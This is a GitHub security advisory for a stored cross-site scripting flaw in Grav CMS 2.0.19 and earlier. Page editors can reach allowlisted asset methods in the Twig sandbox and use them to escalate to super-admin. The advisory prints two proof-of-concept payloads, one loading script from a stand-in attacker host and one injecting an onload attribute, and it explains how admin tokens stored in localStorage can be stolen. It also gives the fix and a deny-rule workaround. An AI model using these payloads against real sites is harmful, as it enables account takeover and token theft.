Skip to content

Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin

Moderate severity GitHub Reviewed Published Aug 21, 2026 in getgrav/grav • Updated Aug 21, 2026

Package

composer getgrav/grav (Composer)

Affected versions

<= 2.0.19

Patched versions

2.0.20

Description

Summary

Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists addcss and addjs on Grav\Common\Assets (system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307). Because the sandbox arbitrates the call and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a <script src> / <link href> tag. The asset URL is concatenated into that tag without escaping, so it can also break out of its own attribute.

The save-time XSS scan cannot see this: Security::detectXssInEditorContent() renders the content body in isolation and inspects the returned string, while assets.addJs() acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.

This is not a Security::detectXss() bypass. It is content reaching an unescaped output sink through an allowlisted method.

Affected versions

All Grav 2.0 releases whose sandbox policy allowlists addcss/addjs on Grav\Common\Assets. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from system/config/security.yaml into SandboxDefaults in 2.0.19.

Grav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page process: twig.

Details

Reachable by a plain page editor, with no Twig permission and no configuration change. On a stock install security.twig_content.process_enabled is true and system/config/system.yaml ships process: { markdown: true } with no twig key, so Security::applyTwigContentDefault() defaults every page's process.twig to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. security.twig_content.editor_enabled: false and the admin.pages_twig permission gate only the per-page override checkbox in the editor — they do not gate whether Twig runs.

The sink. Assets/Js.php:46 (and identically Css.php:50, Link.php:41, JsModule.php:47) builds the tag by concatenation with no escaping:

return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . ...

For any remote asset, BaseAsset::init() stores the caller's string verbatim. Two working variants follow:

  1. External script inclusion — {{ assets.addJs('https://attacker.example/poc.js') }}
  2. Attribute injection with no attacker-controlled host{{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}, because unifyLegacyArguments() passes a second array argument straight into the tag's attributes and attribute names are not filtered. The same effect is reachable by embedding a quote in the URL itself.

Timing. Twig::processSite() resolves $page->content() before rendering the theme template, so the registration lands before the head is emitted.

javascript: and data: URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.

Impact

Persistent script execution on the site's own origin for every visitor of the affected page — including administrators, which makes this a page-editor-to-super-admin escalation:

  • Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with sandbox="allow-same-origin allow-scripts allow-forms", so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (plugins.api.protect_frontend_session) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this.
  • Admin-Next persists the administrator's API access and refresh JWTs in localStorage on that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view.
  • An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.

Patches

Fixed in Grav 2.0.20:

  • addcss/addjs removed from the Grav\Common\Assets sandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods through security.twig_sandbox.allowed_methods, which is additive over the shipped defaults.
  • Asset URLs are now HTML-escaped at every render site (Js, Css, Link, JsModule, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.

Operators who cannot upgrade immediately can tighten the policy in user/config/security.yaml:

twig_sandbox:
  denied_methods:
    - class: Grav\Common\Assets
      methods: 'addcss, addjs'

Credits

Reported by Ahmed Ibrahim (@skeletonsec).

References

@rhukster rhukster published to getgrav/grav Aug 21, 2026
Published to the GitHub Advisory Database Aug 21, 2026
Reviewed Aug 21, 2026
Last updated Aug 21, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

EPSS score

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-8hgv-xc77-jmcr

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.